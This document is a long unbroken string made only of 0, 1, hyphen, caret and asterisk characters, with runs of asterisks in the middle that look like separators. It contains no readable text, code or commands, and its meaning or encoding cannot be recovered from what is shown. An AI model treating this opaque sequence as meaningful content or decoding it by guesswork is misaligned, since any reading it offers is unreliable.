11010-10^10-010^10-001^110101011010101*01*^-0--110-110-0110110101*1*0-00-^-101*010^-010-1011*011010^10-^1101101010--01*01*^-0--110-00-^10^11*001*10^10-101*10^-0^^1^-1101*00-10-*11*11*-*11*00^-101*011010-110^1^-011010101011010101^110110--11*0-101^-001101*-1011*011*11*110-01*00^110-001011010-10^10^-01^^101101010-1^110---010110101^-1101*00-10-*11*11*-*11*00^-101*011010-110^1^-01^110101101010-00-10--11*0-101^-011011*-10-11011*11*--11*00^110-001011010-0-*^-01^101101101010---0---*110101^-001011*-1011*-^11*--11*00^-**011010-110^1^-0110-110110101011010-00---011010101^-*-^-1011*0-0011*11*011*00^--101011010-0110^^-01^110--0-101011*-0-110-010-0--001*11010-0-1011*^-0-01*1010-0-00^1010-110^^1010-010^-010-*0^1*^110^1*---*11*110-11*0-00-0-01101*010101^11*^1010110-*^1010-101*11*^^1*01^101010-11011*11010-110--10^1*0^-00^1*101101010110^1*1*10-*-*1*--1101*^-*101^1010--1011*11011*010--1011*001^-00-101^1101010-1101*1*10-10-1*1*101101^1*^101101101^1010-0-011*11011011010--10-01^^-0011**0110101010-01*1*10110101011*1*110110^1*^1*-01^1010-^1011*11011*010--10-00^^-001*01*1101010-0011*1*10101101011*1*-010^1*^1*-01^1010110^1011*11011*010--1011*001^-0011011*011010101^-*1*10110^101*1*-001^1*^10^1101^1010^^1011*110-10110--1011*001^-001*01*1101010101*1*1*10^^-*1*11*1^1*^-10-1^1010-110-1*110^^---01^^1^-00--*11010101010-^1*101*-11*1*10110-**0010101^1**0^1*11**0^-00101010^1*00^11011*1101101011011*^110101101^1^11010-*-0-10-*01101101011011010-1**01011010-0-0011*-0^1^10^1*110110101^-010-^-01^-^-*11*0010-*010-*11011010110-*0010110-11*110^101*00-10^101*10-10^10^^-1**1*0110101*10-0101101010^11010101*-001011010110110110-^110-10101^^-110^--0--*-0110-**^11010101*10-1*101010^1011*1*-001101*010110110-101010-10101**0-10^10101^10-11010^-10-11010--10-11011*-101**0-01*0010^1^-1*00^10^11**^10^11**^-0011*110^11*1^1*^-010101**0-^1101101^10110---00^-1010101*00^-0011**00-*101^^1011*110^110-1010-*0-001010-*011*1010-*-^101*01*1*00-**-*-1**011*-1**-*-00^101*101*1*1^1010101*11011011*10-^-11011***1^^1*1010-001^11**001011*^1101011*01^110--1^1*110-*00^--010-^1^1*-10-*001*0010101^-010^10^1*1101^101*001*001*0--00-*-0010101*-1011*^-1101101^1*-00101101^11010-*010^-^101^-001*1*-*00^11*0^10-1010110^--*--1^^10^11011*-00-1010^-1^-001011*00110-10110-10-*0^-*101*1*-00-*101010^^1*01^110-010^-101*1^1^^1*^1010^11*1101*10-011*00--1*110110-0^101**101**-0101010-1^1^1*0010^1*010^1010110-*1**010-**^110101010^101*0101101011011**0-0^11*0010110-*001^-1011*1*001101*0101*00101*011*10-101*11010101*0010110101*001101^1010101101*0-00^1*--*00-101^---0110^1*00110^-0-010^10^10-00-011*00-*0^10-**011*11*0101^--00-01011*10^11*0011010101^^-00110^10-*^1*0^1^10^10-11011*00110^1*10--011010101*11010-1*00110^10-01^-1^10-^11*00-00110-01101*-1101*010^101*01101*101*1^10101^1*11*010101101011011*1***10^10101^--1*10-110^-0011010-110110-10^-^-1011*11*00--^-0-1*11011*010--*-1*01*0-0101*-11**^10-0-01011***00-^10^11*1*00-11010-011010-0^-1*001*1010^11*10-1*-*0^-*110^1*1*10-10-01*00110--0-**00101^1010-01101101011*00101011011010-01*01*001*011011*11*001*^101*11*001^-00-101*1^1*1*010-0-1*0101*01101^101010101^^101^1011011*01^101*01*001^1101^1*0-101010^-00101010^--**11**-010-1*00-001*10-0-*0-0011010-0^101*01101010101*-0-0-^^110-101*1*10110^11**1011*-01101^1^--1^-110-11*0011*-01010110^-^^10101*1010110-110101101*1*-0^1010-101**11*-101^^11*001*110-0-1010-11011*110-0010101^-*10-0-110^^1*1^-^-001101^-^1010--10-1010^---1*1010-0-00-*0101010-01^10110-11*011011010101*1*1010101^11*10^1^10^11**^^10-001*-00101*0^1*1^-1*-0101011011**010-11*0--1*01010-*11*0110110110-0--^10-10^1101*01011011011*010-0-0-00^-0-^10-10110^1^^-1*0101^10^101011*-001*^11*-1^101^1*11*1*010^10^11010-011010110101*^1^1^-^-0^^-0010-10-01*1*10-10---0010110-010-1101**--0--1*010^^101^110101^-00-1010^^-^11011*10^10^10^1*0-1*1*^1**-01010^10101101101*-1101*-1*****010-1*011*110^11*1010101*-*^10110-1*010--^110-*110^1^-*1*0101101*101*0-^10-1^^-1011*-0-*1011010110-0-00^1*0--1^^-*0010110101*010^1101^101^--010-001101011010^1*-*-1*011*001^^1*10--10110^1101^1**----01010101^1^^^-01**-00-10^10101*^10110-010-0-^-0-^1101*-010-11*-*0101*-010-011011*-00110^-01011*010-101101*1*011011011*011*101^1010110-110101^-010--001011010-0010110-1^^1*11011**010-*0--1^10-0101^1*101^1*1010110^1010-1*1^11*^110^1*101*1*110^110-**1^11010^101*101***011*1*110^110101010-0101^-00110-10-1^1101*1*00-101*1^-**110-11011*101011010-*-^-*1^1*-01**011*01*^-01^10^1010-1*--1*01**110-001*10-*1*00-010-0-01********10-1******0011*-110101*****00--1*10-******0-^10-********1*110-*****00110-1101101011*****0^10^11*001*****00110-01*-******1010-11*011*****001^101101*11*****0011*011011*1*****00-^1*1*1*****001*1*-******0010^-110-01*****0110110-10^1******10101*001*1*****010^11011010101*****010-0101101101*****0011**1101101*****00101101*1101101******0-0-*001******0-00-1*1*****0^-1101010-*****00^^1011*11*****01*011*1*1*****00^11010110^1*****00^^1*11*1*****00^1^^-******^101011*-*****001*^-1011*******11**01011*****00110110110101101*****0-01^110-1*****001011*-00-*****001101**-1******0011*110101101*****00101*1*0^1*****00-001101^101******0110^1101011*****0^1101010101011*****0-0^110101101*****011*01*-011*****0^10-0010101*****0010-1^101*1*****00110-1*101*******10--*1******^1*11*01******-*00--1*****001*1^10-11******00-0^1101*****001*-1^11******0^10-*0011*****0010-011010101******0-110--11******001010^11******001101*-01101*****001^10101011*******101*0101*******0101*0101*11*****0^-1*1^1*****001010101010110101*****01*0011*-******010-01101^1******01010-0011*******^^1*101******0-1^1101101*****0011*011*1011******1011*^101******010-1010-01*****00-11*11*1******101^11*0-*****001101010101*11*****0011*1010-101*******-101*01******110-101011*******001101*^1*****011*01101010-******1^10^-11******-00-0^11******110110^1*******^1011*1^1*****0-1^1010-******1^-11*-*****0011*11**011*****010^1101*101*****0010-^1*01******1^1^1011011******-110^1^1*****001*0011011*11*****0--110110-1*****0010^1^--*****010^1*^-*****0010^1*011011*****00-1^^10^1*****0010-*0-01*****0011*00-010-******^1010-011*****001011010--1******010^1^1*01*****00^^11010-1******1010^^101******0^-11011011*****00-0101^-******0110101*11011******01010-0011******0011010101101011******1^^11*001******001**1^1******-110101^11*****0^1011*101011*****01101*10^101******-1*0101******00-101*00-1*******11*^11*******11*1*0-******00^10101******00101*1*^1******0-101*-101*****01**1^1101******-0-10101011*****0-1*010110101*****0110110-1*1******^11*-101******01*10^10-1******10^-001101*****00-0110110-11*****0101101011*11******101101101*001*****001*-10-1******0^1011011*******0010^-0^11*****00-^1010-1******1101011*1*******001^-1*01******0-00-0-******11010-^-1*****00-10^101*1******00-00-0^1*****001*0-0-11******1^-11010101*****0110101*00-11*****011*0^1011******0^1^11*-******10110-010-1*****001*10^110-*****0-1101*001101******10^10-011******^10-0-001******11*001101011*****0110101*0-11******0110-0-0-*****00-011*101011******--10-11*****0010101^^1*1*****0-11010^-*******0-11011*1******0010110110101*****0010-0---*****00-1*^1*******0110^-10^1*****010-^-01******00^101*-11*****001^10101^1101*****001101*--******001*^10^11*****00-01**001*****0010-110110-01*****011*01101^-*****001***01011*****010^1*00-01*****0110-01011*01*****00^11*0101******0101^-*^1*****010-11*011011******^^-1101******-0110-00-*****0110^-*1101*****0^10-101*01*******00^10-*****0011*1*00-01*****0101**010^1*****001010-*^1*****00--0110-101******1*101^1011*****0--^1*01*****00-1*01*11******10-1^--******0010---01******00^1010101******-1^^11******001*1*1^11******01010-001^11*****00101011011010101******00^1*01*******^11*1*01******00101*01101******^11011*******0010^11*^1******001*1^-11*****0011*1*1*11*****0011*001*1011******101^101********-10-^-******1^1^10^1******00-0-^1******01101^^11******0--0011*******^-1*--*****00-1*010^1*****00-10-00^11*****00-1*-01^1*****01*0-^1*1******0^1^1^1*****00^-11*01101*****001^^^10101*****01*010^-001*****001*10^101011*****0101*0010101101*****0110-1011*11*****00^1*0-*1*****001*10^1*101*****01**010^1******10-010^10-*****0--01*-01*****00^-^1^1*****0011010^-01011*****00-^-1*1*****00110^10^1^1*****0-0-^101011*****001*0^1010101*****00-101*1^1*****00110110^-001*****00110^11*01*******0^^1*011*****010-*^1011******0110^10-1******1101*101^-*****001*1101^^1*****0010^10^1*1*****0010-1101^101******011*^-1*****00-^11*001******^10-10^-*****00-0-00101******00-10^11*11*****011**1**1*****001101*10^101******01**10-1*****0110110-0010101******-0^101101*****001^^101********001*-^1*******00110^-*****00-1*11011*1******11011*^1*******001010^1011*****0011*11**1******00^10-^11*****0-101*00101******010-01*11011*****001^110^11011*****00110^--11*****00^^^-1*******01**0011******10-011010-1******-0-1*011*****0010^-0101*******-10110^-1*****001**10^101*****001**1^101*****0010--0110-1*****010101^-01011*****001101*101*******110-*1101011******01^110101011*****010-10-1*11*****01*010-10-1******^^110101*******1**01*1*****01*01*110-******1^-*01101*****0101**1*1******01*-*11********0101^-1*****0010^^1011011*****0110-*00^11*****0^^1*001101******00110^-******0-00^10101101*******1*-*******-0^1*^1*****0^1*10-1011******01^10101011*******01^-*1*****001101^10-11*****001*11010-001******011*1^10-*****01101*10-1011*****00^1***1*****00-00110-^1******0^^-0-1*****010--1010101******-*001101******010-10-*011*****010-0010-001*****0010-01^-011******1^10-01******00101*011*1******--*1010101*****01^^101011011*******0-*0-******10-10^1011*****00^10-0110101*****0-*-^^1*****011011**1011*****0010-00-10101*****00-*10-^11*****0011010-11*******0010^10-******00-10-110-01*****0101010101*1101*****00101*011********-0-00^1*******1*110-01*******01101101******01101^1011*1*****001^1*10101101*****001*11*-******0101*^10-11******011011**01*****01*101011*101*****001*1^1011011******011*0--1*****011011011011011******^10-^1*******1**^11******001*101010-1*****00^101*0010-*****001101*00--*****00-10-0010-*****0110101*01*01*****0-1^101*11******10-0--******011**--11******0011*10^11*****00-0-*10101*****010^^10^1******0011010--******001*0-1010101******-11*0-1*****00^1*-1^11*****00-101^11*1*****00-0-*-01*****011010^--******01*0^11*01*****00-*001*******0----011*******1101*0^1*****0-00-11010101******101101010^1******0-10-1*11*****0-0-*-001*****0^10101011*01*****0^-11010^11*****0-0^101011011*****01*--010101*****011*-110-1*****00-0-10^1011*****01^-01^1101*****00-10-^1******0^11*1*1011*****01*10110-^1******10110^10^1*****001*001*^11*****001011*110-11******01^1*-*******11*101*******110110-00-01*****01*00-10^1*****00-0010-*011*****0-^101*^1******00101^-11*****00^110-00-01*****0-10-**01*****00^10-10^1*****00^10-10-11******01010^11*01******--^-1*****001^10-001*******0-0^-1101*******-001101******00-10-0^1*****00110--11*01*****0110^-*^1*****01*01101^1101*****0011*1**001*****0-011*0-001*****00^10-0^1******-110-00-01*****00^-101101******00110^^11011******010-001101101******-11010-001******-00110^11*****00110101^10-11******-01*-*******0^-101******0011*01**01*****00-001*10-01*****010101*1*^1*****00101011**011*****0-110-0-001******11011*-011*****011*-001011******--1*-011*****00-1*110-1******-110^-******01*0-01*1******110^-*-1*****0-0-01010^1*****011*-01*011*****0^-10^10-******1101^101*1******00-11*101******10-10^-1*****00101*0-0^11*****0101101*0-101******-1101*0101*****0011*11*1*******1*0^1101101*****010110101^^11*****001*001011*11*****0110-01*1101******-0^^101******0101*1*-11*****0-^110-011******-0-*-11*****0-0^101101011******00101^^101*****00-^10-11******1*011*101*******0-*10^1******110-*^11*****00--001010^1*****0101^1*001******001011010-00101*****001*01*011******0^10^101*1******00^101^11******-001*0-101*****0^1*1011011******10^-10^11******010101010110-*****01101^10^1********^1*001*****001*01*1^11******01*^1^1******11010110-0^1******1011*0-1******00-^-1^1*****0010-110101101*****00^101**01******110-^101*1*****00-^10-1******0101010^1^1******-011011*1011*****0010-*11*1******-01011010-1******11*0010-1******00^11*01******0011*1*0-******-*101^101******11*-001*1*******^-11011*****00^1*^10101******1**01*******1101^1*0101*******1101*01101*****011011010^10-*****00-010101101101*****001*0-101011******00101*0011******010^1011*0011*****01*001*10^1*******-00101011*****001**1*-1*****0010-*001^1*****01010-10-^1*****010-0110-1******0-0^-00-*****00-0^--11*****00101011*^11******-11011010101******-0^10-01******--0110-******01^-010-101******-^-^1*****001*1*10101101******00-1011*1******0010101^-11*****0^1*00-101******01**01*01*****01*10^-101*****0010110-1010-1*****0^101101*101******101011*11*******0010--0101*****00-1*1011*01******00^10^1101*****010--*0011******00-0101011011*****01101101101^101*******101^^11*****01^1**1011*****001^10110-0011*****0^-01^-1******0-00110-011*****0-0110101011011*****0-1010-001011*****0101*101011011*******0110110^11*****011*01*^101*****01^1101010-1*****0010-01*011011*****001101101011*******-10101^1*1*****01*1101*0011******-01011*0-******00110110^11*****0011*10-01101*****001**001^11******0101010110101******0011*1*1101******0--0^1101*****001*0110-1******00110^1010-******1*0-1*^1*****001*01**101*****0^-110-011*******^1^10101******0^^-101*****001101^^^11*****00^-*01*1*******^1^1^1*****01010-^1^1*****00101^10-*01******^-110-01******00^-01*1*****0011*1*001******0-1011011*001*****0-01*^11******010-^10101101*****010^11**-******-110-1^1*****010^10110110101*****0110^1^-11******101^--101*****00^1^1*-1******0011*110^1*****001*1101*0011*****0010-1101101101******0011*1101101*****0010101*0110-*****0^^110110-1*****01011*-0-11*****00-010-^1******^101*-01******101*01101*01*****011*10-00-1*****0^11*-11011******0101*--1*****01^11010110-1*****01010-1*0^1*****010101*10101101*****001*01^11*******11**10-1*****00-1*001*1******0-00^10-*******0^1010^11*****001^-10-001*****00^1*110^1******011010-101******0-11011*1^1*****0110110-*101*****00101101^^101*****00-1*11*011******1**0010101*****001010110-1*01*****001*001^-******01^1^^1*******00110101011******00101*01*^1*****00110--10^1*****00-0---11*****001^10--01******101**11011*****001*010--011******0^^1^11******-101^101011*****0011*0-101*1^101^-*010110-0010-*0-^101^^10-1*11011*101101101101^^-*010-1*-01*0^^-0^1^1^1011*011*10110-0--*0-1010-00^10-110-011*101^101101^^1101*10-1*110-*^^-10-*1^101^-**--^-1*--11*01*-110110^110^-11*01*---*1^1*-010101^-0-*00110^10-010-11*--^1^11*1^^110-^1^1*0110^--^1*--1010101^1*-010101^-0-01*110^1011*--*--^1^11*1101011010-^-11*0110^-110^1*--^-1^1*-010101^-01^1010110^101^--1*-11*01^11*11011*00-^1^-0-0^-***0--1011*^1*--*110110-^1*110110-0110-110110-10110-11010--*001^--01*010--1**00-10-001*1^10-1*1101*00-010-^10^110---00101101101^11010-010-001^-11*0^10--1**001*0-^-001*0-1011*01*011*01*0-00110110-*^-1^^110--00101*101*-0011*10-01^-*1^10-0-1**-1^-0-1*11011*0^110-1*101*110-110-*0110-1^11*00-110101*01*-1*--10110-01011*1*0--*1010-11011*0101*-*0110^110-1**-1^-***0-11010-001*-^^-110110-00101*1*0--*1010--110110101*-1*010^110-**0-1^-011**0--*0^1*--110-110110-010-001*011*01101010--010110101*--0010-0010-00--^10110-*-001011*1^1*-10110-^110-001*01010101010-*1101*11010110-110101101*0^1*00^^1101*11010-101**0110-101*00-^^-00110-0101010101010101*00101101*1^^--010110-00^1*00^1^-*1101*10-**1^-01*00-10-0-00110-0-^101010101010-01101*1101^110-0101101*1^1*0010-00-*110101011011**110-10^^^1011010^^^101^1010^^10110^10-101*1*101101*00101*1*-*0101101^^1*0010-00-1*^-10^11*^-11*1*11*1^1^1*00^10-101*^^1101*00^1101*-*011*1^^1*0010-00-1*01*110^1^10110-1*1*^101^1^^-^10-10^-1*1101*001101101*-*0101^^^1**101^-1*-10110^11*0110-1*1*11*1^1^^-*10-10^1010^11011***1011011*001^-1011*0---00-101*01010-001*01^-1*10-1101010110110-*0^10-*101*001^10101**01010101^101010^1101010-010^11*110^10^11011010^11*1^^1010110110^^101011*01010-*101^^-01*-01^10-01^1101*10^1*010^11*^10-101101^-*1^1011*110110^1^^11*0^-0^101^1010^1*-0110-10101^110101011*1*010^10^^10-1*0^-1*1^10110101101101*010^11*01010-*101^^-01*-011*-101^110^-*1*010^-00^10-1*01^-*11*011*110110^101101011*0101^1^101^1*^1^-011*0-01^110101**1*0101011*0^10-1**00-*11*011*0^-0110101^^-0-0-00^-001101^1**01^1011*1**00-001*^1101^-0-001**011**1**011011*1*001010101*1*01*1101^-101011***11*1*1*0-^^1*1*-^-0-0011011*11**00-*11011*011*0010101*^-^1101^11*-1**01011*1*1*01*00^1*^^1*-0-00-01*11**001*1011011*1010101010101*01^1^1101^--1101010^10^1^1010^1*01*1010^^-00-1^-001010101011010110110^11010-*1*010^110^^10-1011*001010-1010-1*10-10101011*00-*1^11*^1*0101*01*11*11*01011**10-0-11*00110-010^1*10-0^-^1*01*01**11011*0-*00-1*^1**1*01*1^1*0101011**0-00-11*01010101010^1*^^^-^10-*001*001^101*-**011*^1*-01^1*1^^10101011*00101*0-11*01^101010^1*1*00^-^-11*001*00-101*0-*-011*^1*00110^1*11*-0101011*0010-10-11*001*11010^^1101010^-^1^101*1*001*001*-*00-1*^1*01101*1*1^10^101011*0010-00-11*00^101010^1*^^^-1*0-*001*0010-*00-*1^1*101101*1*11010110^1*-0101101*00-*011010-0101*11*0-0^--^10-1010-0010-1^10--01010^101*11010^11*^^110--10^1010110101^11010^11*00-*1*-*-*1*101^-*11*011*010-^-001*-10-0101^^-^11011*101101^101*00-0^1011*00-0-*1*00-0101*10101^-^11*10^-011010110101011*0^1101010^10-0110101010110-001101010101^101010-0-^1101*01010--110^1010101^^101^-0^^1011*-110^1011*0-1*0010^10--^-01^-*1*10--10101^101011010-^110--^--001*-011*101*-10-10^-0-*010^11*0-00-010^11*1*1*^110101^^-010-^11010-1^--011*-011*1*0011010-101011010101*010^-10-^-011011*001*10110-00101^1011010--0011*1*^--001101011011*1*1*110-10101^1011*010^11*0-00-**11*1*^1*110101^10-1010-^1101010-00--01*-1011*^--10-1010-00-*0101011*0-^-01*101*1*1010110^101^^11*0-^11010-1^--*--011*1010^-0-1010110-11*0101011*0-^-0--1*1*10110^10101^^110110-^11*0101^--*--011*10^-110-101*00-1*010^^10-^-01011**1*10^-10101^^10-0-^11*110110-101^-*-1101^-*-110110110110110-0110-00101*00110^10-11*0101^101*10-**11010-110^1010-1010^10-00-1101*00^--0^1*0--101*1*-0110110-0^^10-0^11*001^1*1**01010^1101*0101101*001^^-1*1011010-001010-00-1*101^1010101101^101*^10-011**001^1*11**1010^-1*0101101011*010^-10101*110-00^1010--*^1*^10110110^-1^10-00^-*1^101^-*101010-101^1011010110^10^-10101^110-00^1*--*^1010^101101101*-^10-0010-1*1^10110-1*101010-0-0010110101^1010^-10101010110-00^10--11*^^1^10110110^10-0010-001*11*1^1011*11*101010--^101101011011010^-1010-0110-001*0^-11*1*1*0010110110-1101^10-*00101*1^101*101*1010101*00^101101010^110^-10-10-0-001**0-11*1*11*010110110-0101^10-*01101*1^10^1101*101010^^^101101010110110^-10-0-10-001*0110-11*1*101*10110110-^1^10-**01*1^101*001*1010101*10^10110101010-0^-10--110-001*0010-11*1*-*10^11*110^10^110---0^110--1*11011010-1011010-011010^101^^^1^1010101010^^1101101*00-*0-10101*0-1^^101^1011*10-*1*11011010-0011010-01*1*101^10^1*010101010-*001101101*1011*0^110--1*^11**1*0^11010110^11*0010101*00101*1^-11*0010101010^^-01*011011**-001101^1^10110110-10^1**0^1011010^1*11*001101**101*-011011*0010110^^^-0-^1011**101101101^1^1*-0-10^11**^101101*11*11*00--1*101*101*-*00101*01*^-0-01*11**101*101^1^11*110-10^-01^^10110^101*11*00^-1*101*1010^11*0010110-110^-011*-11**101010-^1^-^--0^10-010^101101*-0011*00^1101*101*101*-*00101*00^^-0-0101011**-010101^1^^-10-10^10-010^10110-^^11*00-0101*101*1^-11*0010101010^^-01101101011**1*10101^1^10^110-10^11**1*101010-1011*10101**11*1010-11*-001*001^1010-*11*1^-11*1*-^1*00-0011**00-0-0010101*001010-0011**0^1101*0011010101^1*1*001010-*1*01^-11*1^-^1*0010^11**00101**1010^-110-^11*1**1101*0101010101^1*-01^10-**101^-1^10110-^1*0010-01***01**10101*-10-^1^-010101101*0011010101^1*1*001010-*0^1*0-1^-00-^1*0010-01***1**010101*00110-^1^1*10101101**0010^1*^10-1^1*^101101^1*^10110^-^10101^-110101*1010-00110^-0011010-1*001010101^1*0-1*1*^11011010-011*0-10-0-010---^^1*0-11010^110-1^1101*0^11010-1*001010101^10^1011*1*10-1^10-0110^^10-0-011*--^^---10101010^-^1101010101011010-1011*010101^101*011*1*1011*-0-0110-11010-0-*0---001010---01010-00-^1101*101011010-^1**101^1*^1*01*10110-010-01101*0^-0-0-0010-1^1*0-0-1010^-10-00110101*0-010-10101^10101^1*10-*1*^-01010-011*0-10-0-*0---001010---010^-10-00110^10^11010-1011*010101^1010^11*1*10-1010101^1101010^101^11*10^101^1^1011011*^-1*101011*11*1^110^-001**^10110-0^^-1101^-^-1^110101^-11*1010--0011*110-1*010101*1^1*101*0110101010^^^10-00110^1*010^-110-0-1101^-00-00101010-0--001*0010-1*0-01^1^1*-*0010101010^1*0010-001010101*010^1^10-0-1101^10^-00101010-0--001*0010-1*0^101101^1*^1^110101010-**10-001*101*010^10^-1011011010^101101101101^1*10110110--001*0010^11*10-010^1101011011*101*1*10-01101*001^110-1^-001^-*11**00^-001*-0--001*001010110^10-0101*110-011*-1101*10-0-00-01^11010-1101^1^11011***00^-001*-0-010-*0010110--0-0101^101011011*1011011*10-0^10-01^11010-00-001^1*11***011*^1*-01101*01*0010-11*10-010-0110-011*-*1*10-0^1*001^1101*^-001^11*1***01^10-*-01^1^1*001010-*10-010-0101011011*1^110^10-011*-01*^-1101011*^-^1011*^-*-10-0101^-0010101101101011011*1101^1101^^101011011*0010^110-1*101101*0-*0-0-110110--010110-10-010-^^101011010-11011*110101011011*00101^^11*00101^10-*001*01101^110^11*10^101^^1^1010-00--01^11*01*1*-0^1**0-00^1011*11011*010101*00101*^1*^110^10-00^101^1011*1010-001010^1^11*^11*0-01*-*0-00^^110-011*0101**0101*0-^^110^^1010^1011*1*101010-*101*1^11**01*0-0^-01*-00^1*00-011*011**00101*1011*^1101*-^^1011*101^1010-00-00101^11*-101*-01*01^10-001*01*-011*0^11*00101*0110^1101**--1101**010-1101**0101101^1011*-10-*010-010^1011010101^1101*110101^11010-^101101^10-0-00--01010--1**110-*10^101^10-0-*010-110^10110101101101101*110^^11010-^1*-0010-001^--010101*011**1^1011010110^1*-10-0^1010^-110^101010-1*0110110^101*1*10^^1*0^1101*010-^11011010110-1010^1*0101*^^^11*00101^-^1010--01*00110-*011*1*1^11011*0^^-0011*010^10-11*010-1011011*010^-101^^-0101^1*101101011*-11011011011*0--1*010-0^1^11*101*0-010101*010-00-0011*--**^^11010-001*1011010-00-1101101**00--^1^-0^-1^10101*0-1*11*010--*011*-1*1*0^^11*01^1*10-10-00-110-^1*00--01^-*00-0101011**-^-**0-10110^-00101011*011011*1*0011*10^11*0-0011010-00-^10110-*-010-01*010-001^1011*^-010--110-00101^1*11011*-01101*10^10-0-00110101*00-001011011*-1010-0-*0-001^101*1^-010^101010-001010110^11011*-00101*10^^10101^11010101*-0010110101^-010-0-1*-001^11*10^-0101*10110101*010101*1101*0^1010-01*0^1^-1^^101^1^1**10101101^11*01*^10-00-*01*01*-*10^1**1010-*11*-00-00101*1011011*11*00101101*11*^-11*11*1*-^-1*0101^10101^11010--11*0^1*011**^^10-11*0-00101^1*001*1*10^11*-1101*001**00-^^1*010101^1^10--1*00-*-01*010--1101*1010110-101*0-110-0011*0-1*01**001*01011*0^^-1^1*1011*0-1^1^^1011**^^10-1*00-001*01*00^-1^11*0-1*01***1*1011*001*0-1^^10-*0-11*001*1011*00^1^-1101*010--110^^-0-110^-01101101^110^1^1010-^1^1010110-1010101011*-*011**00110^110-10-1**010--1*^1*101011*1*1101^--*01010--**10110-*11*11*-00^1**0011*-0-10-110-0010----01*10101^10^1101^-1101*1010-10-1*10110-^1*011*-10-1**00-00-0-10--*1010--110-01*1010-010^1101^-0-*1010-1^11*10110-0^1*11*-010101**00-00-0-10--11*10--1^1101*101011*1*1101^-011*01010-^-*10110-001*0011*-*101**00-001010-10-10110^10--1*1101*1010-^1101101^-0-*1010--01*010110--1*011*-011011**001^-10-10-10-^10--1^1101*1010--00-01^1^1^101010-^10101010110--1101011*-*0-**0-^--10-1^110110---**001010--00-01^1^1^1*-0-1^11*-01^-11*-0-0^^-1^1010-*110^1*0-^-101*10^10^101^1*110-00^1^-01*0--0-101*1*-11*1010--110-1^^1^^110^10^-^-1011**010^10^1^-0-00^1^-01*01*110-101*^11*1*101010^1*001011010110-^10110-^10^10110-1011010^^10^1^1101*11*110-0011010^110-01010^11010110^1010101*1011*0101**1*11011011011*0-0^--0^^^101^1101*11*110-001101^101010101^1011010110101^110-0010101^10110^11011010-0^-010^-01^11011*1^1*-*0010-010^-1010-101^-10110^-00-1011*0-1*0010-011*110-0-*10--1*01^1101010^-**1^10^-1^10-*0^1^1101101101101101*1^1*-1*00^1*1^110-0011*10--101101*11010101*1*1*1^101*101^10-0-0101^110110101*1101*11*1011011*001011010^10-010101^-0-0^1*-10-0101^--*01010^-*001^-1^-0101***0-101011*00^10-0-01^101101^-*11010101*-001101^10-1*-*0^-0101*001101^1^-0101***0-1010^1101^10-010-01010110110-^1^-110^1^^-1^101010^-11*^1011*011*110-01101010101*--101*0010101010-0110-0^1101101*01*01010101*01*01^^11011*1*0101101*01*01101^^1011010101101010--0^10-001010-0010--0-11010^^10-11010101*10-110^11*11*0^10-1**11*0110-11010^1010-0-10^1*1*010-0011011011011011*^1*0-11*10-*-110^^1*-110-^1*-10101^-0^110-^-1*^1*001^1^101011*10-10101*1^1101*0-1010101011*-1^-011*-00-11011*11010-1011*0-0---*-01*010^101*1101^-10^-01*1*01101*1*-001*^^^^1010101101*110^10-1011*01*1*-11*11*10101011010-1*101011010^10-0101101010--00^1*011**101*0^11*001*0011**-001*101^1*01*1^1101^11*010101101^1^10-101010101*1*1*^1*011*00110-00^10^110-*0011*110-001*1*01*010-011*001011*1*-*-0101*10^^10101^101*10^1101010-1101*0-1*-110-00-110^^-001101*0^^101*0101^1010-1*-00^1010^^10-^101*101*1*10-1101010^11*-1^110--0^10-^11*0011*-01**110110-1**1101101011010--1*01*-1011*1*1^10--01101*00-00^1^10^-110110-0010-001*011010-0-0^1^-^-^10--*1*00-1011**01^10-*10101*00-001010^10^-*^-0010110^1^11010-*10^1^-101^^10--1**00-101^11*1^10--0^1*00-00^1^10^-1^10-0010-0010^11010-011*001^-^-*10---11*0-101^11*1^10-10101101*00-*101*10^110110^-0010-10-0011010-0-0^1^-1*101*1*0-1^1*1*0-*10^1*0-*1*11*^1*0-110-001*10-0101^1*-101101*1010-01*0^1*001*010^^1*101**1*10^101**1^110101*00--10101*0^--*0-11*-110^110^1*0^10-110^101010-0110^10^-10-*^--*0110--0-0-**10-010-001*0-1^10-10^--1*0^1011**0101010-0^10110^-110^10^--10^10--0-01011*0010-0-*011*0-011*-*0-001010-*0-00-0-0011*^101*1*001*00101011*00-^-^^-^^-11*1011011011*00110110110-1**010--01*11010--01*1*--10^10^-11*0^110^-0-10-*0-*1^1101101101101101^^10-0010-01*^-1*1011**-*00-10101101011010^11*0^1^10-0-^-010-*110^--011011*1101010-00101101*0^-1*0-**-*--01011010-01^11*010^1010-0-^-110-*11*001101101101101^^10-0010-01*^-1*^1**-*1*11010110^^1*11*0101101010-0-^1^10-*11*-1011011011*-0110-001*101^^-1*0-**-0-0-10101101*110^11*0^110^10^10101^11010^101**0110^10101**1*-0^1011***10-1**1^10-*00110^-^^1010110101010101^10101*1*0^1010^-^^10101^-001101101^10-0101010110110-00110-^^-1*00-^1011*^110^1*01*-1*00-10-11**1011*0-*10101101101101101*101010-11010^110-^10101101010-0-10^1010-10^1^1010-0-011*01010101*1101*01010101010-*0010110^-*00-0-0-*001^-01^11*10^110-01*0^101*101^110110-1**10--0101**^1**01*0^-^-001*-01****11*0101**011*0101*11*1*0101*-00101010-1***11010110101*11*0-*10101*10--101^10^110-11*10^-1101*010^-^1*^^1010-101010101^--010-01*-01*10101*1*010--0-^10-001^11010--10101*10-11*10101*-00^^1^-0101011*0-1010-0101*101*101010-0^10--0010101*110-010^-0110-*1*110110-0^^110101^1*0101010110101*0-*^10^-1010-*-0101^11*011*0-011*010-0011011*01010^110^1101^101*001^110-0-**1^^10^-0^10-01*010101*010-101010^-*11*101*-110-0-110-0^11010-**01^-1010-**10^101*00^11*101*00^1*0-*00^-0-10-101010-010101101101*11*0-*11**00110^101101**1^-001*110-0-^10^11*-01^1101*0^101010-101010101*10110110101011*0-*-1**110^101**-0010-101*-001010^1^-001010-11*1*00-**1101^1101*0-*101011*0-0-01*1^11010110-110-0101*10101*10101*-^1010101*101*1010----0-00^-^-1**-00101*1010-01*-1^-1*10110110^11*001101^10110-011010-011**^1*-11*1^1*-001^^1*-001*1*1^110-001101^-0-1^--1^-10-1*-10-0--0-00-011*101^10^10^-1*-00101*11*001*01^1^10-101^-1*1^--11010101010-0-01*1010-0--1*10-0-001*0-00^^1*110101^-00101*00110^11*1^101011*1*1*^^1*00^1*1*^1*0-0-01**0-01*101*00-010-0^1*001*-1*00^^1*01101*11*110^110-1010^10-*010^-0-011010-0010110101010^1*10110-001101*1*001010^1*00^1**-01*11*0-00110-1010^10-*0^-110-0110